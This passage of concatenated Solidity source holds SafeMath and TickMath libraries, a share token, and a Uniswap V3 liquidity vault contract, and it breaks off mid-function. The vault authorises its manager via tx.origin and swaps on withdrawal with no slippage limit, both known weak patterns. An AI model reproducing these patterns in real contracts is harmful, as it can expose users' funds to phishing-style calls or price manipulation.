Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add128(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(int256(MAX_TICK)), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import '../interfaces/ERC20.sol'; contract UToken is ERC20 { address private _owner; constructor(string memory _symbol, uint8 _decimals) ERC20(_symbol, _symbol, _decimals) { _owner = msg.sender; } modifier onlyOwner { require(msg.sender == _owner, 'Only Owner!'); _; } function mint(address account, uint256 amount) external onlyOwner { _mint(account, amount); emit Mint(msg.sender, account, amount); } function burn(address account, uint256 value) external onlyOwner { _burn(account, value); emit Burn(msg.sender, account, value); } event Mint(address sender, address account, uint amount); event Burn(address sender, address account, uint amount); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma abicoder v2; import "../libraries/SafeERC20.sol"; import "../libraries/SafeMath.sol"; import "../libraries/Math.sol"; import "../libraries/FullMath.sol"; import "../libraries/FixedPoint96.sol"; import "../libraries/PoolAddress.sol"; import "../libraries/PositionHelperV3.sol"; import "../interfaces/IUniverseVaultV3.sol"; import "../interfaces/Ownable.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/IUniswapV3Pool.sol"; import "./UToken.sol"; contract UniverseVaultV3 is IUniverseVaultV3, Ownable { using SafeERC20 for IERC20; using SafeMath for uint256; using SafeMath for uint128; using PositionHelperV3 for PositionHelperV3.Position; // Uni POOL bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; // Important Addresses address immutable uniFactory; address operator; /// @inheritdoc IUniverseVaultV3 IERC20 public immutable override token0; /// @inheritdoc IUniverseVaultV3 IERC20 public immutable override token1; mapping(address => bool) poolMap; // Core Params address swapPool; uint8 performanceFee; /// @dev For Safety, maximum tick bias from decision uint24 diffTick; /// @dev Profit distribution ratio, 50%-150% param for rate of Token0 uint8 profitScale = 100; /// @dev control maximum lost for the current position, prevent attack by price manipulate; param <= 1e5 uint32 safetyParam = 99700; struct MaxShares { uint256 maxToken0Amt; uint256 maxToken1Amt; uint256 maxSingeDepositAmt0; uint256 maxSingeDepositAmt1; } /// @inheritdoc IUniverseVaultV3 MaxShares public override maxShares; /// @dev Amount of Token0 & Token1 belongs to protocol struct ProtocolFees { uint128 fee0; uint128 fee1; } /// @inheritdoc IUniverseVaultV3 ProtocolFees public override protocolFees; /// @inheritdoc IUniverseVaultV3 PositionHelperV3.Position public override position; /// @dev Share Token for Token0 UToken immutable uToken0; /// @dev Share Token for Token1 UToken immutable uToken1; /// @dev White list of contract address mapping(address => bool) contractWhiteLists; constructor( address _uniFactory, address _poolAddress, address _operator, address _swapPool, uint8 _performanceFee, uint24 _diffTick, uint256 _maxToken0, uint256 _maxToken1, uint256 _maxSingeDepositAmt0, uint256 _maxSingeDepositAmt1 ) { require(_uniFactory != address(0), 'set _uniFactory to the zero address'); require(_poolAddress != address(0), 'set _poolAddress to the zero address'); require(_operator != address(0), 'set _operator to the zero address'); require(_swapPool != address(0), 'set _swapPool to the zero address'); uniFactory = _uniFactory; // pool info IUniswapV3Pool pool = IUniswapV3Pool(_poolAddress); IERC20 _token0 = IERC20(pool.token0()); IERC20 _token1 = IERC20(pool.token1()); poolMap[_poolAddress] = true; // variable operator = _operator; swapPool = _swapPool; if (_poolAddress != _swapPool) { poolMap[_swapPool] = true; } performanceFee = _performanceFee; diffTick = _diffTick; // Share Token uToken0 = new UToken(string(abi.encodePacked('U', _token0.symbol())), _token0.decimals()); uToken1 = new UToken(string(abi.encodePacked('U', _token1.symbol())), _token1.decimals()); token0 = _token0; token1 = _token1; // Control Param maxShares = MaxShares({ maxToken0Amt : _maxToken0, maxToken1Amt : _maxToken1, maxSingeDepositAmt0 : _maxSingeDepositAmt0, maxSingeDepositAmt1 : _maxSingeDepositAmt1 }); } /* ========== MODIFIERS ========== */ /// @dev Only be called by the Operator modifier onlyManager { require(tx.origin == operator, "OM"); _; } /* ========== ONLY OWNER ========== */ /// @inheritdoc IVaultOwnerActions function changeManager(address _operator) external override onlyOwner { require(_operator != address(0), "ZERO ADDRESS"); operator = _operator; emit ChangeManger(_operator); } /// @inheritdoc IVaultOwnerActions function updateWhiteList(address _address, bool status) external override onlyOwner { require(_address != address(0), "ar"); contractWhiteLists[_address] = status; emit UpdateWhiteList(_address, status); } /// @inheritdoc IVaultOwnerActions function withdrawPerformanceFee(address to) external override onlyOwner { require(to != address(0), "ar"); ProtocolFees memory pf = protocolFees; if(pf.fee0 > 1){ token0.transfer(to, pf.fee0 - 1); pf.fee0 = 1; } if(pf.fee1 > 1){ token1.transfer(to, pf.fee1 - 1); pf.fee1 = 1; } protocolFees = pf; } /* ========== PURE ========== */ function _min(uint256 x, uint256 y) internal pure returns (uint256 z) { if (x > y) { z = y; } else { z = x; } } function _max(uint256 x, uint256 y) internal pure returns (uint256 z) { if (x > y) { z = x; } else { z = y; } } function _toUint128(uint256 x) internal pure returns (uint128) { assert(x <= type(uint128).max); return uint128(x); } /// @dev Calculate totalValue on Token1 function netValueToken1( uint256 amount0, uint256 amount1, uint256 priceX96 ) internal pure returns (uint256 netValue) { netValue = FullMath.mulDiv(amount0, priceX96, FixedPoint96.Q96).add(amount1); } /// @dev Get effective Tick Values function tickRegulate( int24 _lowerTick, int24 _upperTick, int24 tickSpacing ) internal pure returns (int24 lowerTick, int24 upperTick) { lowerTick = PositionHelperV3._floor(_lowerTick, tickSpacing); upperTick = PositionHelperV3._floor(_upperTick, tickSpacing); require(_upperTick > _lowerTick, "Bad Ticks"); } /// @dev amt * totalShare / totalAmt function _quantityTransform( uint256 newAmt, uint256 totalShare, uint256 totalAmt ) internal pure returns(uint256 newShare){ if (newAmt != 0) { if (totalShare == 0) { newShare = newAmt; } else { newShare = FullMath.mulDiv(newAmt, totalShare, totalAmt); } } } /* ========== VIEW ========== */ /// @dev 50% - 150% function _changeProfitScale(uint8 _profitScale) internal { if (_profitScale >= 50 && _profitScale <= 150) { profitScale = _profitScale; } } /// @dev Calculate UniswapV3 Pool Address function _computeAddress(uint24 fee) internal view returns (address pool) { pool = address( uint256( keccak256( abi.encodePacked( hex'ff', uniFactory, keccak256(abi.encode(address(token0), address(token1), fee)), POOL_INIT_CODE_HASH ) ) ) ); } /// @dev Get the pool's balance of token0 Belong to the user function _balance0() internal view returns (uint256) { return token0.balanceOf(address(this)) - protocolFees.fee0; } /// @dev Get the pool's balance of token1 Belong to the user function _balance1() internal view returns (uint256) { return token1.balanceOf(address(this)) - protocolFees.fee1; } /// @dev Amount to Share. Make Sure All mint and burn after this function _calcShare( uint256 amount0Desired, uint256 amount1Desired ) internal view returns (uint256 share0, uint256 share1, uint256 total0, uint256 total1) { // read Current Status (total0, total1, , ) = _getTotalAmounts(true); uint256 ts0 = uToken0.totalSupply(); uint256 ts1 = uToken1.totalSupply(); share0 = _quantityTransform(amount0Desired, ts0, total0); share1 = _quantityTransform(amount1Desired, ts1, total1); } /// @dev Share To Amount. Make Sure All mint and burn after this function _calcBal( uint256 share0, uint256 share1 ) internal view returns ( uint256 bal0, uint256 bal1, uint256 free0, uint256 free1, uint256 rate, bool zeroBig ) { uint256 total0; uint256 total1; // read Current Status (total0, total1, free0, free1) = _getTotalAmounts(false); // Calculate the amount to withdraw bal0 = _quantityTransform(share0, total0, uToken0.totalSupply()); bal1 = _quantityTransform(share1, total1, uToken1.totalSupply()); // calc burn liq rate uint256 rate0; uint256 rate1; if(bal0 > free0){ rate0 = FullMath.mulDiv(bal0.sub(free0), 1e5, total0.sub(free0)); } if(bal1 > free1){ rate1 = FullMath.mulDiv(bal1.sub(free1), 1e5, total1.sub(free1)); } if(rate0 >= rate1){ zeroBig = true; } rate = _max(rate0, rate1); } function _getTotalAmounts(bool forDeposit) internal view returns ( uint256 total0, uint256 total1, uint256 free0, uint256 free1 ) { // read in memory PositionHelperV3.Position memory pos = position; free0 = _balance0(); free1 = _balance1(); total0 = free0; total1 = free1; if (pos.status) { // get amount in Uniswap (uint256 now0, uint256 now1) = pos._getTotalAmounts(performanceFee); if(now0 > 0 || now1 > 0){ // // profit distribution uint256 priceX96 = _priceX96(pos.poolAddress); (now0, now1) = _getTargetToken(pos.principal0, pos.principal1, now0, now1, priceX96, forDeposit); // get Total total0 = total0.add(now0); total1 = total1.add(now1); } } } /// @inheritdoc IUniverseVaultV3 /// @dev For Frontend function getTotalAmounts() external view override returns ( uint256 total0, uint256 total1, uint256 free0, uint256 free1, uint256 utilizationRate0, uint256 utilizationRate1 ) { (total0, total1, free0, free1) = _getTotalAmounts(false); if (total0 > 0) {utilizationRate0 = 1e5 - free0.mul(1e5).div(total0);} if (total1 > 0) {utilizationRate1 = 1e5 - free1.mul(1e5).div(total1);} } /// @inheritdoc IUniverseVaultV3 /// @dev For Frontend function getPNL() external view override returns (uint256 rate, uint256 param) { param = safetyParam; // read in memory PositionHelperV3.Position memory pos = position; if (pos.status) { // total in v3 (uint256 total0, uint256 total1) = pos._getTotalAmounts(performanceFee); // _priceX96 uint256 priceX96 = _priceX96(pos.poolAddress); // calculate rate uint256 start_nv = netValueToken1(pos.principal0, pos.principal1, priceX96); uint256 end_nv = netValueToken1(total0, total1, priceX96); rate = end_nv.mul(1e5).div(start_nv); } } /// @inheritdoc IUniverseVaultV3 /// @dev For Frontend serving deposit function getShares( uint256 amount0Desired, uint256 amount1Desired ) external view override returns (uint256 share0, uint256 share1) { (share0, share1, , ) = _calcShare(amount0Desired, amount1Desired); } /// @inheritdoc IUniverseVaultV3 /// @dev For Frontend serving withdraw function getBals( uint256 share0, uint256 share1 ) external view override returns (uint256 amount0, uint256 amount1) { (amount0, amount1, , , ,) = _calcBal(share0, share1); } /// @inheritdoc IUniverseVaultV3 /// @dev For Frontend function getUserShares(address user) external view override returns (uint256 share0, uint256 share1) { share0 = uToken0.balanceOf(user); share1 = uToken1.balanceOf(user); } /// @inheritdoc IUniverseVaultV3 /// @dev For Frontend function getUserBals(address user) external view override returns (uint256 amount0, uint256 amount1) { uint256 share0 = uToken0.balanceOf(user); uint256 share1 = uToken1.balanceOf(user); (amount0, amount1, , , ,) = _calcBal(share0, share1); } /// @inheritdoc IUniverseVaultV3 /// @dev For Frontend function totalShare0() external view override returns (uint256) { return uToken0.totalSupply(); } /// @inheritdoc IUniverseVaultV3 /// @dev For Frontend function totalShare1() external view override returns (uint256) { return uToken1.totalSupply(); } /* ========== INTERNAL ========== */ /// @dev if position out of range, don't add liquidity; Add liquidity, always update principal /// @dev Make Sure pos.status is alwasy True | Always update the principals function _addAll(PositionHelperV3.Position memory pos) internal { // Read Fee Token Amount uint256 add0 = _balance0(); uint256 add1 = _balance1(); if(add0 > 0 && add1 > 0){ // add liquidity (add0, add1) = pos._addAll(add0, add1); // increase principal pos.principal0 = pos.principal0.add128(_toUint128(add0)); pos.principal1 = pos.principal1.add128(_toUint128(add1)); // update Status pos.status = true; } // upadate position position = pos; } /// @dev BurnAll Liquidity | CollectAll | Profit Distribution function _stopAll() internal { // burn all liquidity (uint256 collect0, uint256 collect1, uint256 fee0, uint256 fee1) = position._burnAll(); // collect fee (uint256 feesToProtocol0, uint256 feesToProtocol1) = _collectPerformanceFee(fee0, fee1); _trim(collect0.sub(feesToProtocol0), collect1.sub(feesToProtocol1), 0, true); } /// @dev BurnPart Liquidity | CollectAll | Profit Distribution | Return Cost function _stopPart(uint128 liq, bool withdrawZero) internal returns(int256 amtSelfDiff) { // burn liquidity (uint256 collect0, uint256 collect1, uint256 fee0, uint256 fee1) = position._burn(liq); // collect fee (uint256 feesToProtocol0, uint256 feesToProtocol1) = _collectPerformanceFee(fee0, fee1); // (amtSelfDiff) = _trim(collect0.sub(feesToProtocol0), collect1.sub(feesToProtocol1), liq, withdrawZero); } /// @dev Profit Distribution Based on Param function _trim( uint256 stop0, uint256 stop1, uint128 liq, bool withdrawZero ) internal returns(int256 amtSelfDiff) { if(stop0 == 0 && stop1 == 0) return (0); // // read position in memory PositionHelperV3.Position memory pos = position; // calculate uint256 priceX96 = _priceX96(pos.poolAddress); uint256 start0 = pos.principal0; uint256 start1 = pos.principal1; if (liq != 0) { // Liquidate Part, Update Principal (uint128 total_liq, , , , ) = pos._positionInfo(); start0 = FullMath.mulDiv(start0, liq, total_liq + liq); start1 = FullMath.mulDiv(start1, liq, total_liq + liq); pos.principal0 = pos.principal0 - _toUint128(start0); pos.principal1 = pos.principal1 - _toUint128(start1); position = pos; } (uint256 target0 , uint256 target1) = _getTargetToken(start0, start1, stop0, stop1, priceX96, false); // Use if always for withdraw int256 amt; bool zeroForOne; if(withdrawZero) { amt = int256(stop1) - int256(target1); if (amt < 0) zeroForOne = true; amtSelfDiff = int256(stop0) - int256(target0) ; }else{ amt = int256(stop0) - int256(target0); if (amt > 0) zeroForOne = true; amtSelfDiff = int256(stop1) - int(target1) ; } if(amt != 0){ uint160 sqrtPriceLimitX96 = (zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1); (int256 amount0, int256 amount1) = IUniswapV3Pool(swapPool).swap(address(this), zeroForOne, amt, sqrtPriceLimitX96, ''); amtSelfDiff = amtSelfDiff - (withdrawZero ? amount0 : amount1); } } /// @dev Profit Distribution Based on Param | Return target Amount after distribution function _getTargetToken( uint256 start0, uint256 start1, uint256 end0, uint256 end1, uint256 priceX96, bool forDeposit ) internal view returns (uint256 target0, uint256 target1){ uint256 start_nv = netValueToken1(start0, start1, priceX96); uint256 end_nv = netValueToken1(end0, end1, priceX96); uint256 rate = end_nv.mul(1e5).div(start_nv); // For safe when deposit if (forDeposit && rate < safetyParam) { rate = safetyParam; } // profit distribution if (rate > 1e5 && profitScale != 100) { rate = rate.sub(1e5).mul(profitScale).div(1e2).add(1e5); target0 = FullMath.mulDiv(start0, rate, 1e5); target1 = end_nv.sub(FullMath.mulDiv(target0, priceX96, FixedPoint96.Q96)); } else { target0 = FullMath.mulDiv(start0, rate, 1e5); target1 = FullMath.mulDiv(start1, rate, 1e5); } } function _collectPerformanceFee( uint256 feesFromPool0, uint256 feesFromPool1 ) internal returns (uint256 feesToProtocol0, uint256 feesToProtocol1){ uint256 rate = performanceFee; if (rate != 0) { ProtocolFees memory pf = protocolFees; if (feesFromPool0 > 0) { feesToProtocol0 = feesFromPool0.div(rate); pf.fee0 = pf.fee0.add128(_toUint128(feesToProtocol0)); } if (feesFromPool1 > 0) { feesToProtocol1 = feesFromPool1.div(rate); pf.fee1 = pf.fee1.add128(_toUint128(feesToProtocol1)); } protocolFees = pf; emit CollectFees(feesFromPool0, feesFromPool1); } } function _priceX96(address poolAddress) internal view returns(uint256 priceX96){ (uint160 sqrtRatioX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0(); priceX96 = FullMath.mulDiv(sqrtRatioX96, sqrtRatioX96, FixedPoint96.Q96); } /// @dev Money From Msg.sender, Share to 'to' function _deposit( uint256 amount0Desired, uint256 amount1Desired, address to ) internal returns(uint256 share0, uint256 share1) { // Check Params require(amount0Desired > 0 || amount1Desired > 0, "Deposit Zero!"); // Read Control Param MaxShares memory _maxShares = maxShares; require(amount0Desired <= _maxShares.maxSingeDepositAmt0 && amount1Desired <= _maxShares.maxSingeDepositAmt1, "Too Much Deposit!"); uint256 total0; uint256 total1; // Cal Share (share0, share1, total0, total1) = _calcShare(amount0Desired, amount1Desired); // check max share require(total0.add(amount0Desired) <= _maxShares.maxToken0Amt && total1.add(amount1Desired) <= _maxShares.maxToken1Amt, "exceed total limit"); // transfer if (amount0Desired > 0) token0.safeTransferFrom(msg.sender, address(this), amount0Desired); if (amount1Desired > 0) token1.safeTransferFrom(msg.sender, address(this), amount1Desired); // add share if (share0 > 0) { uToken0.mint(to, share0); } if (share1 > 0) { uToken1.mint(to, share1); } // Invest All if (position.status) { _addAll(position); } // EVENT emit Deposit(to, share0, share1, amount0Desired, amount1Desired); } /* ========== EXTERNAL ========== */ /// @inheritdoc IUniverseVaultV3 /// @dev For EOA and Contract User function deposit( uint256 amount0Desired, uint256 amount1Desired ) external override returns(uint256, uint256) { require(tx.origin == msg.sender || contractWhiteLists[msg.sender], "only for verified contract!"); return _deposit(amount0Desired, amount1Desired, msg.sender); } /// @inheritdoc IUniverseVaultV3 /// @dev For Router function deposit( uint256 amount0Desired, uint256 amount1Desired, address to ) external override returns(uint256, uint256) { require(contractWhiteLists[msg.sender], "only for verified contract!"); return _deposit(amount0Desired, amount1Desired, to); } /// @inheritdoc IUniverseVaultV3 function withdraw(uint256 share0, uint256 share1) external override returns(uint256, uint256){ require(share0 !=0 || share1 !=0, "Withdraw Zero Share!"); if (share0 > 0) { share0 = _min(share0, uToken0.balanceOf(msg.sender)); } if (share1 > 0) { share1 = _min(share1, uToken1.balanceOf(msg.sender)); } (uint256 withdraw0, uint256 withdraw1, , , uint256 rate, bool withdrawZero) = _calcBal(share0, share1); // Burn if (share0 > 0) {uToken0.burn(msg.sender, share0);} if (share1 > 0) {uToken1.burn(msg.sender, share1);} // swap if (rate > 0 && position.status) { (uint128 liq, , , , ) = position._positionInfo(); if (rate < 1e5) {liq = (liq * _toUint128(rate) / 1e5);} // all fees related to transaction (int256 amtSelfDiff) = _stopPart(liq, withdrawZero); if(amtSelfDiff < 0){ if(withdrawZero){ withdraw0 = withdraw0.sub(uint(-amtSelfDiff)); }else{ withdraw1 = withdraw1.sub(uint(-amtSelfDiff)); } } } if (withdraw0 > 0) { withdraw0 = _min(withdraw0, _balance0()); token0.safeTransfer(msg.sender, withdraw0); } if (withdraw1 > 0) { withdraw1 = _min(withdraw1, _balance1()); token1.safeTransfer(msg.sender, withdraw1); } emit Withdraw(msg.sender, share0, share1, withdraw0, withdraw1); return (withdraw0, withdraw1); } /* ========== ONLY MANAGER ========== */ /// @inheritdoc IVaultOperatorActionsV3 function initPosition( address _poolAddress, int24 _lowerTick, int24 _upperTick 